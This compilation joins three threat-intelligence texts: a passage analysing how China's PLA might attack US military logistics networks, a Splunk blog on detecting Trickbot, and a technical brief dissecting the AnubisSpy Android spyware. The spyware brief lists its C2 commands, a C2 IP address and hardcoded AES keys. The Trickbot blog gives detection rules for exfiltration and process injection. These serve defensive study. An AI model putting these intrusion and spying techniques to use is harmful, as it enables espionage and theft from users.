- In 2007, China successfully tested a direct ascent ASAT weapon that used a kinetic kill vehicle to destroy an aging Chinese weather satellite and in 2006, the US military accused the Chinese of using a laser dazzling weapon that temporarily blinded a reconnaissance satellite.
- Chinese researchers are working on a variety of radio frequency weapons with the potential to target satellites and other components of the US C4ISR architecture, according to US Department of Defense analysis.
## PLA Information Warfare Planning
An effective offensive IW capability requires the ability to assess accurately the likely impact on the adversary of a CNA strike on a given node or asset. These assessments, in turn, depend upon detailed intelligence on the adversary’s network, the C2 relationships, and the various dependencies attached to specific nodes on the network.
- The *Science of Military Strategy* directs planners to “grasp the operational center of gravity and choose the targets and sequence for strike…arrange the enemy’s comprehensive weaknesses on the selective basis for a list of the operational targets, according to the degree of their influences upon the whole operational system and procedure.”
- Mission planners must also understand the explicit and implicit network dependencies associated with a given node to avoid undesired collateral damage or the defensive redundancies that may exist to enable the targeted unit or organization to reroute its traffic and “fight through” the attack, effectively nullifying the Chinese strike.
- CNA planning also requires a nuanced understanding of the cultural or military sensitivities surrounding how a given attack will be perceived by an adversary. Failure to understand an enemy’s potential “red lines” can lead to unintentional escalation of the conflict, forcing the PLA to alter its campaign objectives or fight a completely new campaign for which it may be unprepared.
PLA IW planners and leaders have noted that CNO is blurring the separation that military planners maintained between the hierarchy of “strategy,” “campaign,” and “combat” (or “tactics” in Western usage) so that CNO or EW weapons employed by tactical-sized units can strike strategic targets deep in the adversary’s own territory beyond the range of most conventional weapons, possibly changing the course of the conflict.
## Chinese Computer Network Operations During Conflict
Like the use of missile or air power, CNO is one of several increasingly capable warfighting components available to PLA commanders during a conflict; however, the PLA rarely discusses CNO as a standalone capability to be employed in isolation from other warfighting disciplines. Understanding how it may be used in support of a larger campaign requires Western analysts and policymakers to consider China’s overall campaign objectives to understand CNO in its proper context. The current strategy for fighting a campaign in a high-tech environment, reflected in the doctrinal guidance to “strike the enemy’s nodes to destroy his network,” directs commanders to attack the adversary’s C2 and logistics networks first and exploit the resulting “blindness” with traditional firepower attacks on platforms and personnel. This strategy suggests that the PLA may strike with CNO and EW weapons in the opening phases of a conflict to degrade enemy information systems rather than attempt a traditional force-on-force attack directly where the PLA is at a disadvantage against more technologically advanced countries like the US.
- Denying an adversary access to information systems critical for combat operations is influenced by principles of traditional Chinese strategic thought, but the strategy is also the result of extensive contemporary PLA analysis of likely adversaries’ weak points and centers of gravity.
- While Chinese military leaders are almost certainly influenced by their strategic culture and traditions of stratagem, much of China’s contemporary military history reflects a willingness to use force in situations where the PRC was clearly the weaker entity. Scholarship on the subject suggests that PRC political leaders often determined that conflict in the short term would be less costly than at a later date when strategic conditions were even less favorable to China. This logic often seems counterintuitive to the casual Western observer but reflects a nuanced assessment of changing strategic conditions and how best to align with them for a favorable outcome. PLA and PRC leaders capture this idea often when discussing the use of strategies, stratagem, or weapons that enable the weak to overcome the strong.
- The PLA’s employment of CNO reflects an intention to use it (with EW weapons) as one element of an integrated—and increasingly joint—campaign capability. Campaign doctrine calls for using CNO as a precursor to achieve information dominance, providing “openings” or opportunities for air, naval, and ground forces to act.
CNO in any military crisis between China and the US will likely be used to mount persistent attacks against the Department of Defense’s NIPRNET nodes that support logistics and command and control functions. Attacks such as these are intended to degrade US information and support systems sufficiently for the PLA to achieve its campaign objectives before the US and its Allies can respond with sufficient force to defeat or degrade the PLA’s operation. In a Taiwan scenario, for example, PLA planners likely consider the opening days as the critical window of opportunity to achieve military objectives on the island. CNO and other IW weapons that delay a US military response only increase the PLA’s possibility of success without requiring direct combat with superior US forces.
- Delaying or degrading US combat operations in this Taiwan scenario sufficiently to allow the PLA to achieve lodgment on Taiwan or force the capitulation of the political leadership on the island would present the US with a fait accompli upon arrival in the combat operations area.
- The majority of US military logistics information systems is transmitted or accessed via the NIPRNET to facilitate communication or coordination between the hundreds of civilian and military nodes in the military’s global supply chain.
## Logistics Networks and Databases
In a conflict, NIPRNET-based logistics networks will likely be a high priority target for Chinese CNA and CNE. Information systems at major logistics hubs either in the US Pacific Command (USPACOM) area of operations (AOR) or CONUS-based locations supporting USPACOM operations will likely be subjected to Chinese CNA and CNE operations during a conflict. The Chinese have identified the US military’s long logistics “tail” and extended time for force build-up as strategic vulnerabilities and centers of gravity to be exploited.
- PLA assessments of US campaigns in Iraq (both Desert Storm and Operation Iraqi Freedom), the Balkans, and Afghanistan identify logistics and the force deployment times as weak points, the interruption of which will lead to supply delays or shortages. These assessments in aggregate do not seem to suggest that defeating the logistics systems will lead to a de facto US military defeat (PLA professionals likely assume that the US will implement work around and ad hoc solutions to these obstacles), but rather that these disruptions will “buy time” for the PLA as noted above.
- Logistics data of interest to PLA planners are likely areas such as specific unit deployment schedules, resupply rates and scheduled movement of materiel, unit readiness assessments, lift availability and scheduling, maritime prepositioning plans, air tasking orders for aerial refueling operations, and the logistics status of bases in the Western Pacific theater.
- US Joint Publication 4-0: Joint Logistics notes that “the global dispersion of the joint force and the rapidity with which threats arise have made real-time or near real-time information critical to support military operations. Joint logistic planning, execution, and control depend on continuous access to make effective decisions. Protected access to networks is imperative to sustain joint force readiness and allow rapid and precise response to meet JFC requirements.”
- Potential Chinese familiarity with the network topology associated with US Transportation Command (USTRANSCOM) or related logistics units on NIPRNET could aid CNE missions intended to access and exfiltrate data related to the time-phased force and deployment data (TPFDD) of a specific contingency or operations plan. A TPFDD is the logistics “blueprint” for the sequence of movement of supplies and is based on a commander’s expression of priorities for personnel and materiel to move into a combat theater.
The Chinese may attempt to target potentially vulnerable networks associated with strategic civilian ports, shipping terminals, or railheads that are supporting the military’s movement of critical supplies and personnel. Maintaining effective movement control during a major mobilization is inherently complex. Disruptions of information systems at key nodes, particularly “downstream” at shipping terminals or airports, while not catastrophic, could create major delays as the traffic en route to the affected destination is forced to slow or halt, similar to the cascading traffic delays that can result from a minor accident at rush hour.
- US Joint Publication 4-0: Joint Logistics also points out that “inventory management capitalizes on authoritative information (accurate, real-time, and widely visible) and performance trends to inform decisions about attributes of the materiel inventory throughout the supply chain. Maintaining optimal stockage levels and accountability of materiel throughout the supply chain enables the joint logistician to manage the flow of materiel between strategic and tactical supply nodes to meet warfighter requirements.”
- Many logistics databases on NIPRNET have web-based interfaces to enable ease of access, but may only require PLA operators to compromise one weak password via keystroke logging or to exploit SQL injection vulnerabilities on the website to gain user-like access.
- Long-term access to NIPRNET via CNE techniques—and to logistics information supporting the TPFDD for various war plans in particular—also allows the PLA to assemble a detailed current intelligence picture of the intended US force deployment packages for specific contingencies.
The PLA’s basic CNE/CNA strategy against NIPRNET logistics databases is likely a combination of attacks on selected network segments to limit both the flow and possibly corrupt the content of unencrypted data. An attack on logistics information systems may begin by exploiting previously compromised hosts on the network held as a kind of war reserve in the event of a crisis.
- If PLA operators target a unit or network segment that does not authenticate HTTP traffic (common Internet traffic) through a proxy server before leaving the network, they will be able to operate much more freely on the network. An attacker in this environment can connect out to a remote C2 node and download additional tools or exfiltrate (and infiltrate) data without a requirement for valid user credentials.
Reporting of attacks on US networks attributed to China suggests that these operators possess the targeting competence to identify specific users in a unit or organization based on job function or presumed access to information. Access that exploits legitimate user credentials can allow the attacker to review file directories and potentially target specific files for exfiltration or alteration, depending on the mission requirements and the US INFOCON levels. Alternately, these operators can use this access for passive monitoring of network traffic for intelligence collection purposes. Instrumenting these machines in peacetime may enable attackers to prepare a reserve of compromised machines that can be used during a crisis.
- Chinese CNO operators likely possess the technical sophistication to craft and upload rootkit and covert remote access software, creating deep persistent access to the compromised host and making detection extremely difficult.
- An “upstream” attack on the networks of civilian contractors providing logistics support to operational units also has potential for great impact and is potentially easier against smaller companies that often lack the resources or expertise for sophisticated network security and monitoring.
- Many of the vulnerabilities outlined above can be greatly minimized if the network uses a proxy server, implements firewall blocks of unproxied access, blocks proxy access without valid user authentication, and prevents user credentials from being exposed to the attackers.
Chinese CNO operators may also attempt to attack US perceptions of the validity of data in these networks by uploading false records or corrupting existing records, possibly for intentional detection. This discovery may generate a manpower and resource-intensive review of the targeted unit’s database records or other files against a known good backup copy before the unit resumes normal operations, creating potentially costly operational delays. If this type of attack is staged against several large or critical supply nodes, the impact could be significant.
- Uploading files or accessing existing records in NIPRNET-based logistics databases would require PLA operators to compromise a computer on the targeted LAN and be able to operate with the local users’ credentials, a capability observed in past intrusions of US networks that are attributed to China.
- The discovery of this type of attack may have a greater impact on US forces from a perception management or psychological operations perspective than the more localized targeting to redirect supplies.
- Only a limited number of actual compromises may be required to have a disproportionate impact on US operational tempo if information security concerns require time-consuming validation of logistics or other databases by systems administrators and logistics personnel across the theater or in CONUS.
## Command and Control Data
Much of the operational traffic between command entities and subordinate units such as unit location, status, situation reports, and deployment orders, is transmitted via classified systems both in peacetime and wartime. Conducting CNO to penetrate and compromise the encryption and defensive layers built into the architecture of these systems is a resource-intensive and time-consuming process for Chinese IW units or the civilian researchers likely supporting them. The Chinese doctrinal orientation toward attacking an enemy’s information flow suggests that if a classified network is attacked, it will likely be intended to impede encrypted traffic flow if it moves across an unclassified backbone rather than attempting to decrypt data or penetrate into the actual network.
- Even if a sensitive encrypted network is not compromised, focused traffic analysis of encrypted communications via computer network exploitation may still yield useful information.
- If PLA CNO operators are tasked with targeting the networks or databases of specific US military units, then basic network reconnaissance conducted during peacetime can support offensive operations during wartime.
- Once these units or databases are identified, an attacker can use common techniques or tools to affect a denial of service attack against any server or router. The sophistication of this type of attack is within the assessed technical capabilities of many individuals in China’s hacker community and likely of PLA units with trained CNO operators.
- Some CNE operations may be designed for purely reconnaissance purposes to map out network topologies and understand the command and control relationships of specific areas of US military or commercial networks rather than exfiltrate data or emplace “sleeper” malicious software on targeted machines.
PLA CNO commanders and operators likely recognize that a capability for peacetime compromise is not a guarantee of wartime access. US INFOCON levels will increase during a crisis, blocking access to some or all of an adversary’s pre-instrumented machines. Ongoing probes and compromises designed to elicit changes in US defensive posture may, however, provide some insights into how the network environment will change during periods of heightened threat. Chinese operations, therefore, could also include efforts designed to create intentional “noise” on the network that elicits a reaction, allowing the attackers to gather intelligence on how the US defensive posture will change under select circumstances. This is a cyber parallel to US Cold War-era electronic warfare operations that were designed to provoke a reaction from Soviet air defense networks to collect intelligence on their responses to various types of threats. |
# Detecting Trickbot with Splunk
The Splunk Threat Research Team has assessed several samples of Trickbot, a popular crimeware carrier that allows malicious actors to deliver multiple types of payloads. These samples have been found in use during recent campaigns, and the team has identified the presence of specific tools designed to inject malicious code into victims’ browsers, known as Web Injects, which work as custom elements that allow attackers to perform operations on top of the victim's web session while seeming legitimate. We also took a look at several modules, including LDAP querying capabilities and Cobalt Strike delivery, which has been observed in recent campaigns.
Trickbot Trojan is said to be related to Zeus and Dyre crimeware and has been active since 2016. Trickbot has been used in multiple campaigns targeting financial services and other verticals; due to its versatile nature, recently it has also been observed targeting single users via traffic infringement phishing. Trickbot is attributed to the following actors, according to CISA:
- Wizard Spider (CrowdStrike)
- UNC1878 (Fireyee)
- Gold Blackburn (SecureWorks)
The web injects are post-exploitation code artifacts delivered and executed via Trickbot. They are specifically designed for targeted sites (financial institutions, cryptocurrency exchanges, telco service providers). The samples analyzed by the Splunk Threat Research Team include major U.S. financial institutions, telecom organizations, and cryptocurrency exchanges, among others. Although web injects are not new, they are very difficult to detect, and they usually defeat most available defenses — PINs, CAPTCHA, and even two-factor authentication applications.
The web inject code is delivered post-compromise via Trickbot. Trickbot crimeware is delivered by multiple methods from direct malicious links, infected documents, or even direct exploitation of internet-exposed hosts or lateral movement; Trickbot malware possesses several functions and features that allow usage of different exploitation methods and post-exploitation payloads.
The following graphic is an example of an infected document: This Excel document will download and load a malicious Trickbot .dll using rundll32 Windows application. The macro is written in a hidden xls sheet in white font, so as to be invisible to the user.
Once this document is executed in a vulnerable host, it proceeds to execute loader and contact Command and Control servers. It will inject its code to the “wermgr.exe” process to do its malicious routine. Below is a snippet of procmon CSV logs during the Trickbot execution. Notice that the wermgr.exe process was created by the same rundll32 process that loads the Trickbot malware (in this case 1.dll).
By decoding the big encoded string on the Trickbot dll loader upon unpacking it in memory, we can see a list of web services that Trickbot uses to look for the IP address of the infected machines. Throughout the infection process, Trickbot will also establish persistence. This is done via the creation of a scheduled task. We also analyzed a Trickbot module identified as wormDll64.dll. This module allows Trickbot to move laterally and collect LDAP information from compromised networks.
The function below enumerates all servers visible in the Windows Active Directory domain network; it also checks if the infected machine is part of the workgroup. Trickbot also uses the EternalBlue exploitation code. CVE-2017-0144 is a vulnerability that allows remote code execution on machines with vulnerable SMB versions.
Other modules from the Trickbot analyzed samples — such as systeminfo64.dll, sharedll64.dll, psinf64.dll, and networkdll64.dll — include full system enumeration, LDAP query, and share enumeration which allows Trickbot to copy itself to other systems, shared folders, and download further payloads.
## Web Injects
As stated previously in this blog, Web Injects are not new. However, they are a very powerful crime tool and very difficult to detect. Web Injects can bypass most of the current defenses, including 2FA tools. Before Web Injects can be executed, there must be a process of exploitation which can be done via several methods, once the client has been infected with Trickbot and the Web Inject file is in place. This is a process that is triggered by the victim browsing specific websites which are specified within the Web Inject config file. Then the Trickbot proceeds to exfiltrate data and execute operations on top of the victim’s session to perform fraudulent operations such as transferring money from accounts to foreign institutions.
It is important to understand that in appearance these pages which the victim is visiting look exactly like any other standard normal banking session, but in the background the code injected allows attackers to perform different types of operations. In some cases, the Web Injects code, for example, keeps an account balance at its initial amount to the user’s view, even though in the background, money has already been transferred to a different account, usually to a foreign financial institution in countries where cybersecurity laws are very lax or where there is even complicity from the destination country’s regime.
### Injdll64.dll Web Inject Payload
This module consists of web injects targeting several banking sites. It creates a named pipe \.\pipe\pidplacesomepipe where “PID” will be changed to the actual target process ID at runtime, which is sometimes four characters (e.g., “\.\pipe\1844lacesomepipe”). The payload32.dll (a .dll created during the infection process in this sample) is a payload that will be decompressed and injected within the browser session through a reflective dll injection technique to do its main task as a banking trojan.
The following is a snippet snapshot of decrypted Trickbot config samples. As seen in the researched code, the Web Injects principally target login sites for several financial institutions, cryptocurrency exchanges, and telco service providers. In some instances, the targeted URI indicates the targeting of balances, transfers, and account settings. Such sections usually contain the elements necessary to make deposits, send transfers, or change account settings, such as authentication or private information from account holders.
## Detections
The Splunk Threat Research Team has developed a Trickbot analytic story to address this threat. This story is composed of the following searches:
| Detection | Techniques | Tactic(s) | Notes |
|------------------------------------|--------------------|-------------------------|-----------------------------------------------------------------------|
| Detection of Office Application Spawn | T1566.001 | Initial Access | Detects Run Dynamic Link Library 32 child process via Microsoft Office App (new) |
| Detect Wermgr Process Connecting | T1590.005 | Reconnaissance | Detects the use of Windows Error Manager executable to elicit a connection to an external service to determine the victim’s external IP address (new) |
| Wermgr Process Create Executable | T1027 | Defense Evasion | Detects the use of Windows Error Manager that creates executable files (new) |
| Wermgr Process Spawned CMD Or Powershell Process | T1059 | Execution | Detects the use of Windows Error Manager to spawn a terminal session or Powershell Process (new) |
| Schedule Task With Rundll32 Command Trigger | T1053 | Execution, Persistence, Privilege Escalation | Detects the creation of a scheduled task where rundll32.exe is used to execute or spawn another process (new) |
| Powershell Remote Thread To Known Windows Process | T1055 | Defense Evasion, Privilege Escalation | Detects PowerShell process injection in some known Windows processes (new) |
| Write Executable in SMB Share | T1021.002 | Lateral Movement | Detects the creation of an executable targeting SMB Share (new) |
| Trickbot Named Pipe | T1055 | Defense Evasion, Privilege Escalation | Detects the creation of a Named Pipe or inter-process communication associated with the execution of Trickbot (new) |
| Plain HTTP POST Exfiltrated Data | T1048.003 | Exfiltration | Detects the use of the HTTP POST method to exfiltrate data (new) |
| Account Discovery With Net App | T1087.002 | Discovery | Detects the use of a series of net commands for account discovery on the infected machine (new) |
| Suspicious Rundll32 Startw | T1218.011 | Defense Evasion | Detects Rundll32 with "StartW" parameter (Existing) |
| Office Document Executing Macro Code | T1566.001 | Initial Access | Detects MS Office that execute macro code (Existing) |
| Cobalt Strike Named Pipes | T1055 | Defense Evasion, Privilege Escalation | Detects Common Cobalt Strike named pipes (Existing) |
| Suspicious Rundll32 Dllregisterserver | T1218.011 | Defense Evasion | Detects Rundll32 with "dllregisterserver" parameter (Existing) |
| Attempt to Stop Security Service | T1562.001 | Defense Evasion | Detects Security Service terminations (Existing) |
### Hashes
| File name | Sha256 |
|-------------------|-------------------------------------------------------------------------|
| Injdll64.dll | 5c9f626665a5f6e91599df85f3a1ae07258b9c3b8fc72eff56082ce9cb2c4394 |
| wormDll64.dll | 74e9d233177ca996df3eeda88af9ff2d7f87bace0726b0516ecf3be7dcb59f71 |
| Trickbot loader | 01b6ab63f7078d952ed1a18850ac202bc201aa6210592c108a2e0a4d16f06fc5 |
| XLSM Macro | ed03ded8aabe6685d536c26d55e9685a05e6e148c4c5b56b73faa5d81c9c083a |
The aforementioned current and new detections should help address this threat, with Trickbot being one of the main ransomware carriers. Ongoing campaigns are not only a threat to companies' operations; recent incidents reveal that ransomware has endangered human life, affected many governments and school organizations, and even military bases. Ransomware is now the top priority in cybersecurity. The Splunk Threat Research team will continue addressing ransomware variants and sharing their detection with the community. |
# AnubisSpy Technical Brief
Android malware like ransomware exemplifies how the platform can be lucrative for cybercriminals. However, there are also other threats emerging, such as attacks that spy on and steal data from specific targets. More than the malware involved, these also demonstrate how attackers are crossing over between desktops and their mobile counterparts.
Take, for instance, several malicious apps we encountered with cyberespionage capabilities, targeting Arabic-speaking users or Middle Eastern countries. These were published on Google Play but have since been taken down, as well as on third-party app marketplaces. We named these malicious apps AnubisSpy (ANDROIDOS_ANUBISSPY) as all the malware’s payload is a package called watchdog. We construe AnubisSpy to be linked to the cyberespionage campaign Sphinx (APT-C-15) based on shared file structures and command-and-control (C&C) servers, as well as targets. It’s also possible that while AnubisSpy’s operators may also be Sphinx’s, they could be running separate but similar campaigns.
We disclosed our findings to Google and worked with them to take down the apps on Google Play. Updates were also made to Google Play Protect to take appropriate action against those apps that have been verified as in violation of Google Play policy. This technical brief provides an in-depth analysis of AnubisSpy, along with indicators of compromise (IoCs).
There were at least seven apps signed with the same fake Google certificate. We found two more apps made by the same developer, but they had no espionage-related codes. Based on hardcoded strings in the Agent Version, the malicious apps were created as early as April 2015. Timestamps indicate that the earliest sample was signed in June 2015 while the latest variant was signed in May 2017.
AnubisSpy wasn’t only published on Google Play; variants of it were also in third-party app marketplaces. An AnubisSpy variant, named ن ونماضت م عم ي س ي س لا, which translates to “In Solidarity with Sisi,” poses as a promotional app (SisiFans) targeting the supporters of a political figure. It had 150 installs before it was taken off Google Play after our disclosure.
The developer’s handle, ss4mDEV, also appears in other app marketplaces. The Google Play-hosted AnubisSpy was developed by TVDEV, whom we encountered in other marketplaces. We reported our findings to Google, and Google Play Protect accordingly detected and pulled the Google Play-hosted apps developed by TVDEV. SisiFans is also on another third-party app store we saw uploaded last February 27. ss4mDEV also uploaded another AnubisSpy version in the form of a healthcare-related app called SwiftClinic. Both apps share the same certificate. SwiftClinic, touting multilingual support, masqueraded as a patient registration application for dental clinics. It was also shortly published on Google Play but was promptly taken down.
AnubisSpy was also in another third-party app marketplace in the form of apps with the package name nms.sabayaElkher. We also found apps developed by TVDEV. One posed as an aggregator of news covering Egypt’s government and politics. While it had no espionage functionalities (it had a different certificate, too), we think this was an experimental project considering it was released back in 2016, before the latest versions of AnubisSpy made their way to Google Play and third-party app marketplaces. TVDEV also developed and uploaded a similar app named officialsabayaelkheer on March 14, 2017. It poses as an app for “Sabaya El Kheir,” a TV program in Egypt. officialsabayaelkheer may just be a Potentially Unwanted Application (PUA) with no espionage functions, but it has the same nms.sabayaElkher label, which it shares with AnubisSpy-laden apps. We think these seemingly innocuous apps and versions of AnubisSpy were created during the same period so the latter can better camouflage and hide from antivirus (AV) detection.
Sphinx reportedly uses the watering hole technique via social media sites to deliver its payloads — mainly a customized version of njRAT. The Sphinx campaign operators cloaked their malware with Word, PDF, image, and application (i.e., Flash) icons to dupe recipients into clicking them. Sphinx was active between June 2014 and November 2015, but timestamps of the malware indicate the attacks started as early as 2011.
A WHOIS query of the C&C server showed that it abused a legitimate managed hosting service provider based in Belize. We correlated these AnubisSpy variants to Sphinx’s desktop/PC-targeting malware given these commonalities:
- They share the same C&C server IP address, 86[.]105[.]18[.]107
- They share the technique of decrypting JSON files; the file structures of AnubisSpy and Sphinx’s malware are similar
- Their targets are highly concentrated in the Middle East
The apps mainly used Middle East-based news and sociopolitical themes as social engineering hooks and abused social media to further proliferate. For instance, an app developed by TVDEV (nms.sabayaElkher) went to great lengths to feign as a legitimate app. It had three additional tabs/screens, each of which pointed to its Facebook, Twitter, and Google Play pages. The apps were all written in Arabic and, in one way or another, related to something in Egypt (i.e., spoofing an Egypt-based TV program and using news/stories in the Middle East) regardless of the labels and objects within the apps. Our coordination with Google also revealed that these apps were installed across a handful of countries in the Middle East.
The malicious modules of all the AnubisSpy samples are almost the same. Our analyses are from a sample with the package name cc.solidaritycc (SHA256: d627f9d0e2711d59cc2571a11d16c950adadba55d95fd4c55638af6a97d32b23). AnubisSpy can steal messages (SMS), photos, videos, contacts, email accounts, calendar events, and browser histories (i.e., Chrome and Samsung Internet Browser). It can also take screenshots and record audio, including calls. It can monitor the victim through apps installed on the device, such as Skype, WhatsApp, Facebook, and Twitter, among others.
After the data are collected, they are encrypted and sent to the C&C server. AnubisSpy can also self-destruct to cover its tracks. It can run commands and delete files on the device, as well as install and uninstall Android Application Packages (APKs). AnubisSpy’s code is well constructed, indicating at least the attackers’ know-how.
The Init Module initiates all the other spyware modules and prepares the running environment. It sleeps for 60 seconds, then calls the Dec Module to decrypt two JavaScript Object Notation (JSON) files and a ZIP file from the assets folder.
The first JSON file has "Agent configuration." All modules are initiated based on this configuration file. It has two main parts: “core” and “plugins.” The former contains detailed spyware and global configurations, while the latter mainly has configurations about communication, such as the C&C address used for initiating the Comm Module. The second JSON file is a so-called dbrule file. Each item within it has extensive rules for stealing sensitive information. “uri” indicates the Universal Resource Identifier (URI) of Android SMS; “sort_order” and “selection” are for querying the database. In short, the first configuration file specifies what to do, while the dbrule file specifies how to do it. The decrypted ZIP file is used as Patch Module.
The Init Module initiates a series of ContentObserver (used for tracking changes in the device’s data), based on the configuration file. This includes SMS, calendar events, emails, browsing histories in Chrome and Samsung Internet Browser, photos, and videos. If any of the device content changes, a specific module will be invoked to process the new/updated data.
Based on the configuration and device-rooted status, it will call the Android Application Package (APK) Manipulate Module to install itself as a system application then install an embedded APK decrypted from assets. In one of the samples we analyzed, there was no embedded APK in the assets folder.
Some of the spying-related modules need root permission. The Patch Module is for rooted devices, deploying root-related functionalities and granting the malware root permission without user knowledge. The Init Module first checks the device’s root status. Based on the "no_supersu_patch" configuration (True or False), a file (ZIP) is decrypted.
A series of commands is performed to deploy files on the device, and is carried out by a bash script named “update-binary.” It will patch/change the superSU configuration file, if existing, to grant itself root permission and ensure no notifications, logs, and re-authentication are made.
The Comm Module plays the middleman between the agent and the C&C server. It is initiated based on the configuration file, with the C&C server address and service path as the key parameters. All communications are performed through HTTP/HTTPS POST method using multipart/form-data requests. It has these main types of communications: sending and retrieving a file to and from the server, as well as getting commands from the server.
To evade traffic inspection, all keywords in the request body are replaced based on protocol_strings specified in the configuration file.
The DBDump Module consists of two parts: DUMP_DATABASES_EXACT_TIME and DUMP_DATABASES_INTERVAL, which are initiated by separate configurations. DUMP_DATABASES_EXACT_TIME dumps specific databases at an exact time. Its configuration contains a time and dump list. In this case, it’s supposed to dump the device’s contact information at a certain time. This function, though, is disabled as there’s no value for the “time.” However, it can still be enabled through a configuration update from the C&C server. Some of the routines specified in the code need root permission.
DBDump_DATABASES_INTERVAL dumps specific databases at intervals. Its configuration contains the interval time and specified databases. The DBDump Module dumps databases only when the screen is off to evade users’ awareness. For every item above, it will look into the dbrule file to get the corresponding rule.
The Position Module retrieves the device’s location data and uploads it to the C&C server. A parameter of position_interval in the configuration file is sent to the Position Module when initiating. It indicates the intervals for when location data (position) is stolen each time. In a sample we analyzed, the value is 600 — that is, the Position Module collects and uploads this information every 10 minutes.
Each time that it collects the data, if there’s a position/location, it selects a specific Position Provider via GPS, network, or passive (last known location), whether the device’s screen is on or off. If force_location_services_enabled is configured, it will try to enable the GPS and network provider. The device’s location/position data is sent to the Format Module, then processed as a JSON file with the value of key “type” as “gis.”
The Screenshot Module takes screenshots and uploads them to the C&C server. It reads related configurations from the configuration file first before initiating. Apart from time intervals, there’s also a package list in the configuration set that the Screenshot Module uses when taking screenshots. The Screenshot Module works only on rooted devices.
It first gets the device’s current, overlaying activity. It takes a screenshot of it if its package name is in the list from its configuration file. If it fails to get the activity or if the package list is empty, it will just take a screenshot of the current screen regardless of the activities running on top. A screenshot is taken by running screencap. After it is compressed, it is sent to the Format Module and processed as a JSON file whose value key “type” is “image,” and accompanied with other image attributes.
The CMD Module retrieves commands from the C&C server and processes them. The parameter checkcmd_interval in the configuration file is sent to the CMD Module when initiating. It indicates the interval for checking/awaiting commands (CMD checking) from the C&C server. As shown below, the value is 600 — that is, the CMD Module checks for commands from the C&C server every 10 minutes.
Before sending a CMD request to the C&C server, it checks if the current date reached the "expiry_date," which is read from the configuration file. If it has, it will call the Destruction Module to remove itself from the device; otherwise, it proceeds to do CMD checking. Getting the command from the C&C server is performed through the Comm Module. The commands are sent in JSON format then encrypted. After getting the raw data, the CMD Module calls the Dec Module to decrypt it then parse it as a JSON file.
The JSON file’s contents have these commands:
- uninstall_agent: Destruct itself
- install_package: Install an APK, which is sent from the C&C server and encoded in command JSON file
- uninstall_package: Uninstall a specific package
- update_config: Update the configuration file
- update_dbrules: Update the dbrule file
- get_databases: Dump a specific db
- get_file: Get and upload specific files on the device
- recv_file: Retrieve a file from the C&C server and put it in a certain location on the device
- exec_cmdline: Run command line on the device
- delete_file: Delete a specific file from the device
- get_dirtree: Get and upload a specific directory tree structure
- get_sysinfo: Call the Device Info Module to get system information
- start_av_bug: Start audio recording through Audio Record Module
- stop_av_bug: Stop audio recording through Audio Record Module
The Audio Record Module records audio, mainly used by the CMD Module, and calls-related modules. It is referred to in the configuration file via the strings media_chunk_size and audio_hq. After it records the audio, it is sent as a pass result file (along with other information such as Location and DialNumber) to the Format Module.
The Calls Module monitors and records the device’s incoming and outgoing call actions. The configuration file refers to it via the strings call_info, call_audio, audio_hq, and media_chunk_size. When a call action occurs, the Calls Module determines the phoneNumber and action type (outgoing or incoming) and invokes the Audio Record Module. The captured audio record file is sent to the Format Module along with information such as call type, phoneNumber, phoneNumber displayName, Location, and currentTime.
The VoIP Module monitors calls done on Voice over Internet Protocol (VoIP) by registering android.service.notification.NotificationListenerService. When receiving a Notification Action, it checks if the notification is specified in a list of packages in the configurations file. If it finds a match, it is further processed (i.e., invoking the Audio Record Module).
The Device Info Module collects the following information on the device’s operating system (OS), build, and phone information, and the device’s root status and apps:
- root status
- arch
- osname
- osversion
- board
- bootloader
- branch
- cpu abi
- device
- display
- fingerprint
- hardware
- host
- id
- manufacturer
- model
- product
- radio
- serial
- tags
- time
- Type
- user
- device_memory
- media_storage_totalspace
- media_storage_freespace
- local_time
- current_position
- imei
- imsi
- sw_version
- line_number
- voicemail_number
- network_country_iso
- network_operator
- device_type
- network_type
- sim_country_iso
- sim_operator
- sim_serial_number
- sim_state
- installed_app_list
This module is for when expire_time is reached, or if executing a self-destruct command. First, it tries to remove its device-admin permission, stops the spying-related modules’ schedule, and unregisters ContentObservers. It then removes itself from the device.
The Dec Module is for decrypting encrypted assets and data from the C&C server using the Advanced Encryption Standard (AES) algorithm. The following keys, which are hardcoded, are used for decryption:
- SecretKey: 001234ABDE9217910000DEC4FEDB120003243BC00221296470103FE000AAB201
- IvParameter: 001234abde9217910000dec4fedb1200
When decrypting data from the C&C server, it reads SecretKey, which is "cipher_key" in the configuration file. To get IvParameter, it reads the first 32 bytes of data and decrypts them using the table keys. Both SecretKey and IvParameter are used to decrypt the rest of the data.
All data are processed by the Enc Module before they are uploaded to the C&C server. Like Dec Module, it uses AES. SecretKey is read from the configuration file (cipher_key), but the IvParameter here is generated randomly. Data are encrypted into two parts (bodyPart, headPart) via different parameters. bodyPart is encrypted through cipher_key and a randomly generated IvParameter, which is headPart’s data. IvParameter is encrypted via the default SecretKey and IvParameter. It is combined as one file and sent to the Uploader Module.
The outputs of AnubisSpy’s modules vary, which makes the Format Module very complex and diverse. But amid the complexity, there are common denominators. All data are processed into JSON files by the Format Module. AnubisSpy’s modules have two data types:
- String: Device information, SMS messages, etc.
- Binary: Images, audio files, etc.
For String data, the Format Module will process it to a JSON file based on the module. It will retrieve rules and items from the configuration file’s dbruleFile to construct the JSON file.
For Binary data, the same process is carried out, but more file attribution such as file path, size, timestamp, etc., are added. The binary data is base64-encoded with the key binary_data.
AnubisSpy’s modules send their outputs into one specific folder after they are encrypted. The Uploader Module is responsible for checking, uploading, and deleting them. There are two configurations that tell the Uploader Module when to work: when there’s a Wi-Fi connection, and when the device’s battery is being charged. File traverse in the cache folder, sent, then removed. It sleeps from 3-5 seconds when it processes a file.
Persistent and furtive spyware is an underrated problem for the mobile platform. While cyberespionage campaigns on mobile devices may be few and far between compared to ones for desktops or PCs, AnubisSpy proves that they do indeed occur and may have been more active than initially thought. Will mobile become cyberespionage’s main frontier? It won’t be a surprise given the mobile platform’s increasing ubiquity, especially in workplaces.
Beyond its impact, AnubisSpy also highlights the significance of proactively securing mobile devices, particularly if they’re on BYOD programs and used to access sensitive data. Enforcing the principle of least privilege and implementing an app reputation system are just some of the best practices that can help mitigate threats.
We disclosed our findings to Google and worked with them to take down the apps on Google Play. Updates were also made to Google Play Protect to take appropriate action against those apps that have been verified as in violation of Google Play policy.
## Hash and App Labels
```
Hash: 627f9d0e2711d59cc2571a11d16c950adadba55d95fd4c55638af6a97d32b23
App Label: ريخلا ايابص
Hash: e00655d06a07f6eb8e1a4b1bd82eefe310cde10ca11af4688e32c11d7b193d95
App Label: SwiftClinic
